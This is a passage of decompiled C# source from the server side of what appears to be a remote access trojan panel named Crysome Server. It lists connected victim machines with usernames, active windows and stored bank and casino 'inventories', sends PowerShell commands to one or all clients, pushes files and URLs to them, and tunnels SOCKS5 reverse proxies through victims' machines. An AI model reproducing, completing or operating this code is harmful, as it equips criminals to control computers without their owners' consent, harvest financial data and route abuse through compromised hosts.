clientInfo2.IsMuted = true;
clientInfo2.MuteUntil = store.MutedIPs[address];
}
StoredClientRecord storedClientRecord = store.FindClient(address);
if (storedClientRecord != null)
{
if (string.IsNullOrEmpty(clientInfo2.Notes) && !string.IsNullOrEmpty(storedClientRecord.Notes))
{
clientInfo2.Notes = storedClientRecord.Notes;
}
if (!string.IsNullOrEmpty(storedClientRecord.AppsInventoryJson) || !string.IsNullOrEmpty(storedClientRecord.BankInventoryJson))
{
clientInfo2.ApplyInventoryJson(storedClientRecord.AppsInventoryJson, storedClientRecord.BankInventoryJson, storedClientRecord.CasinoInventoryJson);
}
}
allClients.Add(clientInfo2);
_pendingUpdates = true;
ClientCount = allClients.Count;
if (!clientInfo2.IsMuted && store.Settings.NotifyConnect)
{
try
{
SystemSounds.Asterisk.Play();
}
catch
{
}
}
Log("Connected: " + address, "CONN");
RunOnConnectTasks(e.Client);
}
}
}, Array.Empty<object>());
}
private void Server_ClientDisconnected(object sender, ClientEventArgs e)
{
if (_reverseProxyState.TryGetValue(e.Client, out var value))
{
value.Running = false;
try
{
value.Listener?.Stop();
}
catch
{
}
KeyValuePair<int, TcpClient>[] array = value.Connections.ToArray();
for (int i = 0; i < array.Length; i++)
{
KeyValuePair<int, TcpClient> keyValuePair = array[i];
try
{
keyValuePair.Value?.Close();
}
catch
{
}
}
_reverseProxyState.Remove(e.Client);
}
((DispatcherObject)Application.Current).Dispatcher.BeginInvoke((Delegate)(Action)delegate
{
ClientInfo clientInfo = allClients.FirstOrDefault((ClientInfo c) => c.Owner == e.Client);
if (clientInfo != null)
{
clientInfo.ProxyActive = false;
store.UpsertClient(new StoredClientRecord
{
Address = clientInfo.Address,
Port = clientInfo.Port,
UserName = (clientInfo.Username ?? ""),
ComputerName = (clientInfo.ComputerName ?? ""),
OS = (clientInfo.OS ?? ""),
CountryCode = (clientInfo.CountryCode ?? ""),
Group = (clientInfo.Group ?? ""),
Notes = (clientInfo.Notes ?? ""),
IsPinned = clientInfo.IsPinned,
LastSeen = DateTime.Now,
AppsInventoryJson = (clientInfo.AppsInventoryJson ?? ""),
BankInventoryJson = (clientInfo.BankInventoryJson ?? ""),
CasinoInventoryJson = (clientInfo.CasinoInventoryJson ?? "")
});
store.SaveClients();
allClients.Remove(clientInfo);
_pendingUpdates = true;
ClientCount = allClients.Count;
if (!clientInfo.IsMuted && store.Settings.NotifyDisconnect)
{
try
{
SystemSounds.Hand.Play();
}
catch
{
}
}
Log("Disconnected: " + clientInfo.Address, "CONN");
}
}, Array.Empty<object>());
}
private void HandleClientInfo(CrysomeClient sender, IPacket packet)
{
//IL_0016: Unknown result type (might be due to invalid IL or missing references)
//IL_0020: Expected O, but got Unknown
ClientInfoResponsePacket p = (ClientInfoResponsePacket)packet;
((DispatcherObject)Application.Current).Dispatcher.BeginInvoke((Delegate)(Action)delegate
{
//IL_0433: Unknown result type (might be due to invalid IL or missing references)
//IL_043d: Expected O, but got Unknown
ClientInfo clientInfo = allClients.FirstOrDefault((ClientInfo c) => c.Owner == sender);
string addr = sender.RemoteAddress?.Address?.ToString() ?? "?";
int port = sender.RemoteAddress?.Port ?? 0;
if (clientInfo == null)
{
clientInfo = allClients.FirstOrDefault((ClientInfo c) => c.Address == addr && c.Port == port);
}
if (clientInfo != null)
{
clientInfo.Owner = sender;
}
else
{
clientInfo = new ClientInfo
{
Owner = sender,
SessionId = Guid.NewGuid().ToString("N"),
Address = addr,
Port = port,
ConnectTime = DateTime.Now
};
string address = clientInfo.Address;
if (store.Notes.ContainsKey(address))
{
clientInfo.Notes = store.Notes[address];
}
if (store.PinnedIPs.Contains(address))
{
clientInfo.IsPinned = true;
}
if (store.AnnounceIPs.Contains(address))
{
clientInfo.IsAnnounce = true;
}
allClients.Add(clientInfo);
if (store.Settings.NotifyConnect)
{
try
{
SystemSounds.Asterisk.Play();
}
catch
{
}
}
Log("Connected: " + clientInfo.Address, "CONN");
}
bool flag = false;
if (clientInfo.Identifier != (p.Identifier ?? ""))
{
clientInfo.Identifier = p.Identifier ?? "";
flag = true;
}
if (clientInfo.Username != (p.Username ?? ""))
{
clientInfo.Username = p.Username ?? "";
flag = true;
}
if (clientInfo.ComputerName != (p.ComputerName ?? ""))
{
clientInfo.ComputerName = p.ComputerName ?? "";
flag = true;
}
if (clientInfo.OS != (p.OS ?? ""))
{
clientInfo.OS = p.OS ?? "";
flag = true;
}
if (clientInfo.ActiveWindow != (p.ActiveWindow ?? ""))
{
clientInfo.ActiveWindow = p.ActiveWindow ?? "";
flag = true;
}
if (clientInfo.Uptime != (p.Uptime ?? ""))
{
clientInfo.Uptime = p.Uptime ?? "";
flag = true;
}
string text = (p.CountryCode ?? "").Trim().ToUpperInvariant();
if (clientInfo.CountryCode != text)
{
clientInfo.CountryCode = text;
flag = true;
}
if (clientInfo.Group != (p.Group ?? ""))
{
clientInfo.Group = p.Group ?? "";
flag = true;
}
if (clientInfo.GPU != (p.GPU ?? ""))
{
clientInfo.GPU = p.GPU ?? "";
flag = true;
}
if (flag)
{
_pendingUpdates = true;
}
ClientCount = allClients.Count;
try
{
sender.SendPacket((IPacket)new PingRequestPacket(Environment.TickCount64));
}
catch
{
}
}, Array.Empty<object>());
}
private void HandleSystemInfo(CrysomeClient sender, IPacket packet)
{
//IL_0016: Unknown result type (might be due to invalid IL or missing references)
//IL_0020: Expected O, but got Unknown
GetSystemInfoResponsePacket p = (GetSystemInfoResponsePacket)packet;
((DispatcherObject)Application.Current).Dispatcher.BeginInvoke((Delegate)(Action)delegate
{
ClientInfo clientInfo = allClients.FirstOrDefault((ClientInfo c) => c.Owner == sender);
if (clientInfo != null)
{
clientInfo.Identifier = p.Identifier ?? "";
clientInfo.Username = p.Username ?? "";
clientInfo.ComputerName = p.ComputerName ?? "";
clientInfo.OS = p.OS ?? "";
}
}, Array.Empty<object>());
}
private void HandlePingResponse(CrysomeClient sender, IPacket packet)
{
//IL_0015: Unknown result type (might be due to invalid IL or missing references)
//IL_001b: Expected O, but got Unknown
PingResponsePacket val = (PingResponsePacket)packet;
long tickCount = Environment.TickCount64;
int rtt = (int)(tickCount - val.ServerTick);
if (rtt < 0 || rtt > 30000)
{
return;
}
((DispatcherObject)Application.Current).Dispatcher.BeginInvoke((Delegate)(Action)delegate
{
allClients.FirstOrDefault((ClientInfo c) => c.Owner == sender)?.AddPingSample(rtt);
}, Array.Empty<object>());
}
private void HandleCommandResponse(CrysomeClient sender, IPacket packet)
{
//IL_0016: Unknown result type (might be due to invalid IL or missing references)
//IL_0020: Expected O, but got Unknown
RunCommandResponsePacket p = (RunCommandResponsePacket)packet;
((DispatcherObject)Application.Current).Dispatcher.BeginInvoke((Delegate)(Action)delegate
{
if (_shellOutputCallbacks.TryGetValue(sender, out var value))
{
_shellOutputCallbacks.Remove(sender);
value(p.Output ?? "");
}
else
{
ClientInfo clientInfo = allClients.FirstOrDefault((ClientInfo c) => c.Owner == sender);
string text = ((clientInfo != null) ? clientInfo.Address : "?");
Log("CMD [" + text + "]: " + (p.Output ?? "").Substring(0, Math.Min((p.Output ?? "").Length, 500)), "CMD");
}
}, Array.Empty<object>());
}
public void SendShellCommand(ClientInfo client, string command, Action<string> onOutput)
{
//IL_002b: Unknown result type (might be due to invalid IL or missing references)
//IL_0035: Expected O, but got Unknown
if (client?.Owner == null || onOutput == null)
{
return;
}
_shellOutputCallbacks[client.Owner] = onOutput;
try
{
client.Owner.SendPacket((IPacket)new RunCommandRequestPacket(command));
}
catch
{
_shellOutputCallbacks.Remove(client.Owner);
}
}
private void HandleFileResponse(CrysomeClient sender, IPacket packet)
{
//IL_000f: Unknown result type (might be due to invalid IL or missing references)
//IL_0019: Expected O, but got Unknown
FileTransferResponsePacket p = (FileTransferResponsePacket)packet;
((DispatcherObject)Application.Current).Dispatcher.BeginInvoke((Delegate)(Action)delegate
{
Log("File result: " + p.Status, "FILE");
}, Array.Empty<object>());
}
private void HandleFtSack(CrysomeClient sender, IPacket packet)
{
//IL_0001: Unknown result type (might be due to invalid IL or missing references)
//IL_0007: Expected O, but got Unknown
FtSackPacket val = (FtSackPacket)packet;
if (_activeSenders.TryGetValue(val.TransferId, out var value))
{
value.HandleSack(val);
}
}
private void HandleFtDone(CrysomeClient sender, IPacket packet)
{
//IL_0001: Unknown result type (might be due to invalid IL or missing references)
//IL_0007: Expected O, but got Unknown
FtDonePacket val = (FtDonePacket)packet;
if (_activeSenders.TryRemove(val.TransferId, out var value))
{
value.HandleDone(val);
}
}
private void HandleDirectLinkResponse(CrysomeClient sender, IPacket packet)
{
//IL_000f: Unknown result type (might be due to invalid IL or missing references)
//IL_0019: Expected O, but got Unknown
DirectLinkResponsePacket p = (DirectLinkResponsePacket)packet;
((DispatcherObject)Application.Current).Dispatcher.BeginInvoke((Delegate)(Action)delegate
{
Log("DirectLink result: " + p.Status, "FILE");
}, Array.Empty<object>());
}
private void InfoTimer_Tick(object sender, EventArgs e)
{
//IL_0083: Unknown result type (might be due to invalid IL or missing references)
//IL_008d: Expected O, but got Unknown
//IL_0099: Unknown result type (might be due to invalid IL or missing references)
//IL_00a3: Expected O, but got Unknown
if (server == null || !server.Listening)
{
return;
}
try
{
int count = allClients.Count;
if (count == 0)
{
return;
}
int num = 15;
if (infoRobin >= count)
{
infoRobin = 0;
}
int num2 = Math.Min(infoRobin + num, count);
for (int i = infoRobin; i < num2; i++)
{
ClientInfo clientInfo = allClients[i];
if (clientInfo.Owner != null && clientInfo.Owner.IsConnected)
{
try
{
clientInfo.Owner.SendPacket((IPacket)new ClientInfoRequestPacket());
clientInfo.Owner.SendPacket((IPacket)new PingRequestPacket(Environment.TickCount64));
}
catch
{
}
}
}
infoRobin = ((num2 < count) ? num2 : 0);
ClientCount = allClients.Count;
}
catch
{
}
}
private void RefreshClientList()
{
_pendingUpdates = true;
}
private void ProcessClientUpdates(object sender, EventArgs e)
{
if (!_pendingUpdates)
{
return;
}
_pendingUpdates = false;
try
{
IEnumerable<ClientInfo> source = allClients.AsEnumerable();
if (!string.IsNullOrEmpty(_filterCountry) && _filterCountry != "All")
{
source = source.Where((ClientInfo c) => string.Equals(c.CountryCode, _filterCountry, StringComparison.OrdinalIgnoreCase));
}
if (!string.IsNullOrEmpty(_filterOS) && _filterOS != "All")
{
source = source.Where((ClientInfo c) => (c.OS ?? "").IndexOf(_filterOS, StringComparison.OrdinalIgnoreCase) >= 0);
}
if (!string.IsNullOrEmpty(_filterGroup) && _filterGroup != "All")
{
source = source.Where((ClientInfo c) => string.Equals(c.Group ?? "", _filterGroup, StringComparison.OrdinalIgnoreCase));
}
if (!string.IsNullOrEmpty(_filterPing) && _filterPing != "All")
{
switch (_filterPing)
{
case "Good (<100ms)":
source = source.Where((ClientInfo c) => c.PingValue > 0 && c.PingValue < 100);
break;
case "Medium (<300ms)":
source = source.Where((ClientInfo c) => c.PingValue >= 100 && c.PingValue < 300);
break;
case "High (>300ms)":
source = source.Where((ClientInfo c) => c.PingValue >= 300);
break;
}
}
UniqueCountriesCount = (from c in allClients
select c.CountryCode ?? "" into s
where s.Length > 0
select s).Distinct().Count();
List<int> list = (from c in allClients
where c.PingValue > 0
select c.PingValue).ToList();
AveragePing = ((list.Count > 0) ? ((int)list.Average()) : 0);
ActiveWindowsCount = allClients.Count((ClientInfo c) => !string.IsNullOrWhiteSpace(c.ActiveWindow));
List<string> second = (from x in (from c in allClients
select c.Group ?? "" into s
where s.Length > 0
select s).Distinct()
orderby x
select x).ToList();
string filterGroup = _filterGroup;
_isRefreshingClientList = true;
SyncCollection(FilterGroupOptions, new List<string> { "All" }.Concat(second).ToList());
_filterGroup = (FilterGroupOptions.Contains(filterGroup) ? filterGroup : "All");
OnPropertyChanged("FilterGroup");
_isRefreshingClientList = false;
List<ClientInfo> list2 = source.OrderByDescending((ClientInfo c) => c.IsPinned).ToList();
int num = 0;
foreach (ClientInfo item in list2)
{
int num2 = Clients.IndexOf(item);
if (num2 < 0)
{
Clients.Insert(num, item);
}
else if (num2 != num)
{
Clients.Move(num2, num);
}
num++;
}
while (Clients.Count > list2.Count)
{
Clients.RemoveAt(Clients.Count - 1);
}
UpdateFilterOptionsInternal();
}
catch
{
}
}
private void UpdateFilterOptions()
{
_pendingUpdates = true;
}
private void UpdateFilterOptionsInternal()
{
HashSet<string> currentCountries = new HashSet<string>(FilterCountryOptions);
HashSet<string> currentOSes = new HashSet<string>(FilterOSOptions);
List<string> list = (from x in (from c in allClients
select (c.CountryCode ?? "").Trim() into s
where s.Length > 0
select s).Distinct()
orderby x
select x).ToList();
List<string> list2 = (from x in (from c in allClients
select (c.OS ?? "").Trim() into s
where s.Length > 0
select s).Distinct()
orderby x
select x).ToList();
bool flag = list.Count + 1 != currentCountries.Count || list.Any((string c) => !currentCountries.Contains(c));
bool flag2 = list2.Count + 1 != currentOSes.Count || list2.Any((string o) => !currentOSes.Contains(o));
bool isRefreshingClientList = _isRefreshingClientList;
_isRefreshingClientList = true;
try
{
if (flag)
{
string filterCountry = _filterCountry;
SyncCollection(AvailableCountries, list);
SyncCollection(FilterCountryOptions, new List<string> { "All" }.Concat(list).ToList());
_filterCountry = (FilterCountryOptions.Contains(filterCountry) ? filterCountry : "All");
OnPropertyChanged("FilterCountry");
}
if (flag2)
{
string filterOS = _filterOS;
SyncCollection(AvailableOSes, list2);
SyncCollection(FilterOSOptions, new List<string> { "All" }.Concat(list2).ToList());
_filterOS = (FilterOSOptions.Contains(filterOS) ? filterOS : "All");
OnPropertyChanged("FilterOS");
}
}
finally
{
_isRefreshingClientList = isRefreshingClientList;
}
}
private static void SyncCollection(ObservableCollection<string> target, List<string> source)
{
target.Clear();
foreach (string item in source)
{
target.Add(item);
}
}
private void DoAddBlocklist()
{
string text = (NewBlocklistIP ?? "").Trim();
if (string.IsNullOrEmpty(text))
{
return;
}
if (store.BlockedIPs.Contains(text))
{
EnqueueStatus("Already blocked");
return;
}
store.BlockedIPs.Add(text);
store.SaveBlocked();
BlockedIPsList.Clear();
foreach (string item in store.BlockedIPs.OrderBy((string x) => x))
{
BlockedIPsList.Add(item);
}
NewBlocklistIP = "";
Log("Added to blocklist: " + text, "SYS");
EnqueueStatus("Blocked " + text);
}
private void DoRemoveBlocklist(string ip)
{
if (!string.IsNullOrEmpty(ip))
{
store.BlockedIPs.Remove(ip);
store.SaveBlocked();
BlockedIPsList.Remove(ip);
Log("Removed from blocklist: " + ip, "SYS");
}
}
private void DoRemoveBlocklist()
{
string blocklistSelectedIP = BlocklistSelectedIP;
if (string.IsNullOrEmpty(blocklistSelectedIP))
{
EnqueueStatus("Select an IP to unblock");
}
else
{
DoRemoveBlocklist(blocklistSelectedIP);
}
}
private void DoBlockSelectedClient()
{
ClientInfo clientInfo = SelectedClient ?? _selectedClients.FirstOrDefault();
if (clientInfo == null)
{
EnqueueStatus("Select a client to block");
return;
}
string address = clientInfo.Address;
if (store.BlockedIPs.Contains(address))
{
EnqueueStatus("Already blocked");
return;
}
store.BlockedIPs.Add(address);
store.SaveBlocked();
BlockedIPsList.Clear();
foreach (string item in store.BlockedIPs.OrderBy((string x) => x))
{
BlockedIPsList.Add(item);
}
try
{
server?.DisconnectClient(clientInfo.Owner);
}
catch
{
}
Log("Blocked and disconnected: " + address, "SYS");
EnqueueStatus("Blocked " + address);
}
private IEnumerable<ClientInfo> GetSelectedOrAll(bool all)
{
if (all)
{
return allClients.Where((ClientInfo c) => c.Owner != null && c.Owner.IsConnected);
}
return _selectedClients.Where((ClientInfo c) => c.Owner != null && c.Owner.IsConnected);
}
private void DoSendCommand(bool all)
{
//IL_003c: Unknown result type (might be due to invalid IL or missing references)
//IL_0046: Expected O, but got Unknown
string text = PromptInput("Send PowerShell Command", "Enter command:");
if (string.IsNullOrEmpty(text))
{
return;
}
foreach (ClientInfo item in GetSelectedOrAll(all))
{
try
{
item.Owner.SendPacket((IPacket)new RunCommandRequestPacket(text));
Log("Sent cmd to " + item.Address + ": " + text, "CMD");
}
catch
{
}
}
_lastCmd = text;
}
private async void DoSendFile(bool all)
{
OpenFileDialog openFileDialog = new OpenFileDialog
{
Filter = "All files|*.*"
};
if (openFileDialog.ShowDialog() != true)
{
return;
}
string path = openFileDialog.FileName;
byte[] data;
try
{
data = await Task.Run(() => File.ReadAllBytes(path));
}
catch (Exception ex)
{
Exception ex2 = ex;
Exception ex3 = ex2;
((DispatcherObject)Application.Current).Dispatcher.Invoke((Action)delegate
{
Log("Send file error: " + ex3.Message, "FILE");
});
return;
}
((DispatcherObject)Application.Current).Dispatcher.Invoke((Action)delegate
{
//IL_0106: Unknown result type (might be due to invalid IL or missing references)
//IL_010d: Expected O, but got Unknown
long num = (long)store.Settings.MaxSendFileSizeMB * 1024L * 1024;
if (num > 0 && data.Length > num)
{
Log("File too large (limit " + store.Settings.MaxSendFileSizeMB + " MB)", "FILE");
}
else
{
string name = Path.GetFileName(path);
int num2 = Math.Max(1, (data.Length + 1200 - 1) / 1200);
foreach (ClientInfo c in GetSelectedOrAll(all))
{
try
{
FtSender val = new FtSender(c.Owner, name, data);
val.OnDone = delegate(uint id, bool ok, string msg)
{
((DispatcherObject)Application.Current).Dispatcher.BeginInvoke((Delegate)(Action)delegate
{
Log((ok ? "File delivered" : "File failed") + " [" + name + "] → " + c.Address + ": " + msg, "FILE");
}, Array.Empty<object>());
};
_activeSenders[val.TransferId] = val;
val.Start();
Log("Sending [" + name + "] to " + c.Address + " (" + num2 + " chunks × " + 1200 + " B)", "FILE");
}
catch (Exception ex4)
{
Log("Send file error: " + ex4.Message, "FILE");
}
}
_lastFilePath = path;
}
});
}
private void DoDirectLink(bool all)
{
//IL_003c: Unknown result type (might be due to invalid IL or missing references)
//IL_0046: Expected O, but got Unknown
string text = PromptInput("Direct Link", "Enter URL:");
if (string.IsNullOrEmpty(text))
{
return;
}
foreach (ClientInfo item in GetSelectedOrAll(all))
{
try
{
item.Owner.SendPacket((IPacket)new DirectLinkRequestPacket(text));
Log("Sent link to " + item.Address + ": " + text, "FILE");
}
catch
{
}
}
}
private void DoCopySummary()
{
ClientInfo clientInfo = SelectedClient ?? _selectedClients.FirstOrDefault();
if (clientInfo != null)
{
Clipboard.SetText(clientInfo.Address + "\t" + clientInfo.Username + "\t" + clientInfo.OS + "\t" + clientInfo.PingDisplay + "\t" + clientInfo.Uptime);
Log("Copied summary", "SYS");
}
}
private void DoPinToTop()
{
ClientInfo clientInfo = SelectedClient ?? _selectedClients.FirstOrDefault();
if (clientInfo != null)
{
string address = clientInfo.Address;
if (store.PinnedIPs.Contains(address))
{
store.PinnedIPs.Remove(address);
clientInfo.IsPinned = false;
}
else
{
store.PinnedIPs.Add(address);
clientInfo.IsPinned = true;
}
store.SavePinned();
RefreshClientList();
}
}
private void DoExportSelection()
{
List<ClientInfo> list = ((_selectedClients.Count > 0) ? _selectedClients : ((SelectedClient != null) ? new List<ClientInfo> { SelectedClient } : null));
if (list == null || list.Count == 0)
{
return;
}
SaveFileDialog saveFileDialog = new SaveFileDialog
{
Filter = "CSV|*.csv",
FileName = "export.csv"
};
if (saveFileDialog.ShowDialog() != true)
{
return;
}
List<string> list2 = new List<string> { "IP\tUser\tOS\tPing\tUptime\tGroup\tNotes" };
foreach (ClientInfo item in list)
{
list2.Add(item.Address + "\t" + item.Username + "\t" + item.OS + "\t" + item.PingDisplay + "\t" + item.Uptime + "\t" + item.Group + "\t" + item.Notes);
}
File.WriteAllLines(saveFileDialog.FileName, list2);
Log("Exported to " + saveFileDialog.FileName, "SYS");
}
private void DoMute30()
{
ClientInfo clientInfo = SelectedClient ?? _selectedClients.FirstOrDefault();
if (clientInfo != null)
{
string address = clientInfo.Address;
clientInfo.IsMuted = true;
clientInfo.MuteUntil = DateTime.Now.AddMinutes(30.0);
store.MutedIPs[address] = SelectedClient.MuteUntil;
store.SaveMuted();
Log("Muted " + address + " for 30 min", "SYS");
}
}
private void DoQuickHealth()
{
//IL_0021: Unknown result type (might be due to invalid IL or missing references)
//IL_002b: Expected O, but got Unknown
foreach (ClientInfo item in GetSelectedOrAll(all: false))
{
try
{
item.Owner.SendPacket((IPacket)new RunCommandRequestPacket("Get-CimInstance Win32_OperatingSystem | Select-Object Caption,LastBootUpTime"));
}
catch
{
}
}
}
private void DoRepeatLastCmd()
{
//IL_003b: Unknown result type (might be due to invalid IL or missing references)
//IL_0045: Expected O, but got Unknown
if (string.IsNullOrEmpty(_lastCmd))
{
EnqueueStatus("No previous command");
return;
}
foreach (ClientInfo item in GetSelectedOrAll(all: false))
{
try
{
item.Owner.SendPacket((IPacket)new RunCommandRequestPacket(_lastCmd));
}
catch
{
}
}
}
private async void DoRepeatLastFile()
{
if (string.IsNullOrEmpty(_lastFilePath) || !File.Exists(_lastFilePath))
{
EnqueueStatus("No previous file");
return;
}
string path = _lastFilePath;
byte[] data;
try
{
data = await Task.Run(() => File.ReadAllBytes(path));
}
catch (Exception ex)
{
Exception ex2 = ex;
Exception ex3 = ex2;
((DispatcherObject)Application.Current).Dispatcher.Invoke((Action)delegate
{
Log("Repeat file error: " + ex3.Message, "FILE");
});
return;
}
((DispatcherObject)Application.Current).Dispatcher.Invoke((Action)delegate
{
//IL_0034: Unknown result type (might be due to invalid IL or missing references)
//IL_003e: Expected O, but got Unknown
string fileName = Path.GetFileName(path);
foreach (ClientInfo item in GetSelectedOrAll(all: false))
{
try
{
item.Owner.SendPacket((IPacket)new FileTransferRequestPacket(fileName, data));
}
catch
{
}
}
});
}
private void DoAnnounceToggle()
{
ClientInfo clientInfo = SelectedClient ?? _selectedClients.FirstOrDefault();
if (clientInfo != null)
{
string address = clientInfo.Address;
if (store.AnnounceIPs.Contains(address))
{
store.AnnounceIPs.Remove(address);
clientInfo.IsAnnounce = false;
}
else
{
store.AnnounceIPs.Add(address);
clientInfo.IsAnnounce = true;
}
store.SaveAnnounce();
}
}
private void DoEditNote()
{
ClientInfo clientInfo = SelectedClient ?? _selectedClients.FirstOrDefault();
if (clientInfo != null)
{
string text = PromptInput("Note for " + clientInfo.Address, "Enter note:", clientInfo.Notes);
if (text != null)
{
clientInfo.Notes = text;
store.Notes[clientInfo.Address] = text;
store.SaveNotes();
}
}
}
private void DoSocks5Proxy()
{
//IL_0179: Unknown result type (might be due to invalid IL or missing references)
//IL_0183: Expected O, but got Unknown
//IL_0292: Unknown result type (might be due to invalid IL or missing references)
//IL_0297: Unknown result type (might be due to invalid IL or missing references)
//IL_02af: Expected O, but got Unknown
List<ClientInfo> list = GetSelectedOrAll(all: false).ToList();
if (!list.Any())
{
EnqueueStatus("No client selected");
return;
}
int num = 0;
_proxyResultsForModal.Clear();
foreach (ClientInfo c in list)
{
try
{
if (c.Owner == null)
{
continue;
}
if (_reverseProxyState.TryGetValue(c.Owner, out var value))
{
StopReverseProxy(c.Owner, value);
((DispatcherObject)Application.Current).Dispatcher.BeginInvoke((Delegate)(Action)delegate
{
c.ProxyActive = false;
}, Array.Empty<object>());
Log("Stopping reverse proxy on " + c.Address, "PROXY");
continue;
}
TcpListener tcpListener = new TcpListener(IPAddress.Loopback, 0);
tcpListener.Start();
int port = ((IPEndPoint)tcpListener.LocalEndpoint).Port;
ReverseProxyState state = new ReverseProxyState
{
Listener = tcpListener,
Owner = c.Owner,
Running = true
};
_reverseProxyState[c.Owner] = state;
c.Owner.SendPacket((IPacket)new StartReverseProxyPacket(port));
((DispatcherObject)Application.Current).Dispatcher.BeginInvoke((Delegate)(Action)delegate
{
c.ProxyActive = true;
}, Array.Empty<object>());
Log("Reverse proxy on " + c.Address + " -> 127.0.0.1:" + port, "PROXY");
_proxyResultsForModal.Add(("127.0.0.1", port.ToString()));
num++;
CrysomeClient owner = c.Owner;
Task.Run(delegate
{
ReverseProxyAcceptLoop(state, owner);
});
}
catch (Exception ex)
{
Log("Proxy error on " + c.Address + ": " + ex.Message, "PROXY");
}
}
if (num > 0)
{
_proxyStartCount = num;
DispatcherTimer proxyModalTimer = _proxyModalTimer;
if (proxyModalTimer != null)
{
proxyModalTimer.Stop();
}
_proxyModalTimer = new DispatcherTimer
{
Interval = TimeSpan.FromMilliseconds(500L, 0L)
};
_proxyModalTimer.Tick += delegate
{
_proxyModalTimer.Stop();
ShowProxyResultsModal();
};
_proxyModalTimer.Start();
}
}
private void StopReverseProxy(CrysomeClient owner, ReverseProxyState state)
{
//IL_005e: Unknown result type (might be due to invalid IL or missing references)
//IL_0068: Expected O, but got Unknown
//IL_0090: Unknown result type (might be due to invalid IL or missing references)
//IL_009a: Expected O, but got Unknown
state.Running = false;
try
{
state.Listener?.Stop();
}
catch
{
}
state.Listener = null;
KeyValuePair<int, TcpClient>[] array = state.Connections.ToArray();
for (int i = 0; i < array.Length; i++)
{
KeyValuePair<int, TcpClient> keyValuePair = array[i];
try
{
keyValuePair.Value?.Close();
}
catch
{
}
try
{
owner.SendPacket((IPacket)new ReverseProxyEndPacket(keyValuePair.Key));
}
catch
{
}
}
state.Connections.Clear();
_reverseProxyState.Remove(owner);
try
{
owner.SendPacket((IPacket)new StopProxyRequestPacket());
}
catch
{
}
}
private void ReverseProxyAcceptLoop(ReverseProxyState state, CrysomeClient owner)
{
//IL_00ba: Unknown result type (might be due to invalid IL or missing references)
//IL_00c4: Expected O, but got Unknown
try
{
while (state.Running && state.Listener != null)
{
TcpClient browser;
try
{
browser = state.Listener.AcceptTcpClient();
}
catch
{
break;
}
if (!state.Running)
{
browser.Close();
break;
}
int connId = Interlocked.Increment(ref state.NextConnectionId);
state.Connections[connId] = browser;
try
{
owner.SendPacket((IPacket)new ReverseProxyStartPacket(connId));
}
catch
{
browser.Close();
state.Connections.TryRemove(connId, out var _);
continue;
}
NetworkStream stream = browser.GetStream();
byte[] buf = new byte[8192];
Task.Run(delegate
{
//IL_009e: Unknown result type (might be due to invalid IL or missing references)
//IL_00a8: Expected O, but got Unknown
//IL_0028: Unknown result type (might be due to invalid IL or missing references)
//IL_0032: Expected O, but got Unknown
try
{
int num;
while (state.Running && (num = stream.Read(buf, 0, buf.Length)) > 0)
{
byte[] array = new byte[num];
Array.Copy(buf, array, num);
try
{
owner.SendPacket((IPacket)new ReverseProxyDataPacket(connId, array));
}
catch
{
break;
}
}
}
catch
{
}
finally
{
state.Connections.TryRemove(connId, out var _);
try
{
owner.SendPacket((IPacket)new ReverseProxyEndPacket(connId));
}
catch
{
}
try
{
browser.Close();
}
catch
{
}
}
});
}
}
catch
{
}
}
private void HandleReverseProxyData(CrysomeClient sender, IPacket packet)
{
//IL_0001: Unknown result type (might be due to invalid IL or missing references)
//IL_0007: Expected O, but got Unknown
//IL_007a: Unknown result type (might be due to invalid IL or missing references)
//IL_0084: Expected O, but got Unknown
ReverseProxyDataPacket val = (ReverseProxyDataPacket)packet;
if (!_reverseProxyState.TryGetValue(sender, out var value) || !value.Connections.TryGetValue(val.ConnectionId, out var value2))
{
return;
}
try
{
NetworkStream stream = value2.GetStream();
if (val.Data != null && val.Data.Length != 0)
{
stream.Write(val.Data, 0, val.Data.Length);
}
}
catch
{
value.Connections.TryRemove(val.ConnectionId, out var _);
try
{
sender.SendPacket((IPacket)new ReverseProxyEndPacket(val.ConnectionId));
}
catch
{
}
try
{
value2.Close();
}
catch
{
}
}
}
private void HandleReverseProxyEnd(CrysomeClient sender, IPacket packet)
{
//IL_0001: Unknown result type (might be due to invalid IL or missing references)
//IL_0007: Expected O, but got Unknown
ReverseProxyEndPacket val = (ReverseProxyEndPacket)packet;
if (!_reverseProxyState.TryGetValue(sender, out var value) || !value.Connections.TryRemove(val.ConnectionId, out var value2))
{
return;
}
try
{
value2.Close();
}
catch
{
}
}
private static string ParsePortFromProxyMessage(string message)
{
if (string.IsNullOrEmpty(message))
{
return "?";
}
Match match = Regex.Match(message, "port\\s+(\\d+)", RegexOptions.IgnoreCase);
if (!match.Success)
{
return "?";
}
return match.Groups[1].Value;
}
private void ShowProxyResultsModal()
{
DispatcherTimer proxyModalTimer = _proxyModalTimer;
if (proxyModalTimer != null)
{
proxyModalTimer.Stop();
}
_proxyModalTimer = null;
_proxyStartCount = 0;
if (_proxyResultsForModal.Count == 0)
{
return;
}
List<(string Address, string Port)> copy = new List<(string, string)>(_proxyResultsForModal);
_proxyResultsForModal.Clear();
string title = ((copy.Count == 1) ? "SOCKS5 Proxy ready" : "SOCKS5 Proxies ready");
StringBuilder stringBuilder = new StringBuilder();
stringBuilder.AppendLine("Use these addresses in your browser or proxy settings (SOCKS5).");
stringBuilder.AppendLine("Use 127.0.0.1:port on this machine (where Crysome Server runs).");
stringBuilder.AppendLine();
foreach (var (text, text2) in copy)
{
stringBuilder.AppendLine(text + ":" + text2);
}
string body = stringBuilder.ToString().TrimEnd();
((DispatcherObject)Application.Current).Dispatcher.BeginInvoke((Delegate)(Action)delegate
{
Window obj = new Window
{
Title = title,
Width = 420.0,
MinWidth = 360.0,
Height = ((copy.Count == 1) ? 220 : Math.Min(400, 180 + copy.Count * 28)),
WindowStartupLocation = WindowStartupLocation.CenterOwner,
Owner = Application.Current.MainWindow,
ResizeMode = ResizeMode.CanResize,
Background = Brushes.Black
};
StackPanel stackPanel = new StackPanel
{
Margin = new Thickness(16.0)
};
stackPanel.Children.Add(new TextBlock
{
Text = body,
TextWrapping = TextWrapping.Wrap,
Foreground = Brushes.White,
FontFamily = new FontFamily("Consolas"),
FontSize = 13.0,
Margin = new Thickness(0.0, 0.0, 0.0, 12.0)
});
Button button = new Button
{
Content = "Copy to clipboard",
Width = 140.0,
HorizontalAlignment = HorizontalAlignment.Left
};
button.Click += delegate
{
try
{
Clipboard.SetText(body);
}
catch
{
}
};
stackPanel.Children.Add(button);
obj.Content = stackPanel;
obj.Show();
}, Array.Empty<object>());
}
private void HandleProxyStatus(object sender, IPacket packet)
{
//IL_0016: Unknown result type (might be due to invalid IL or missing references)
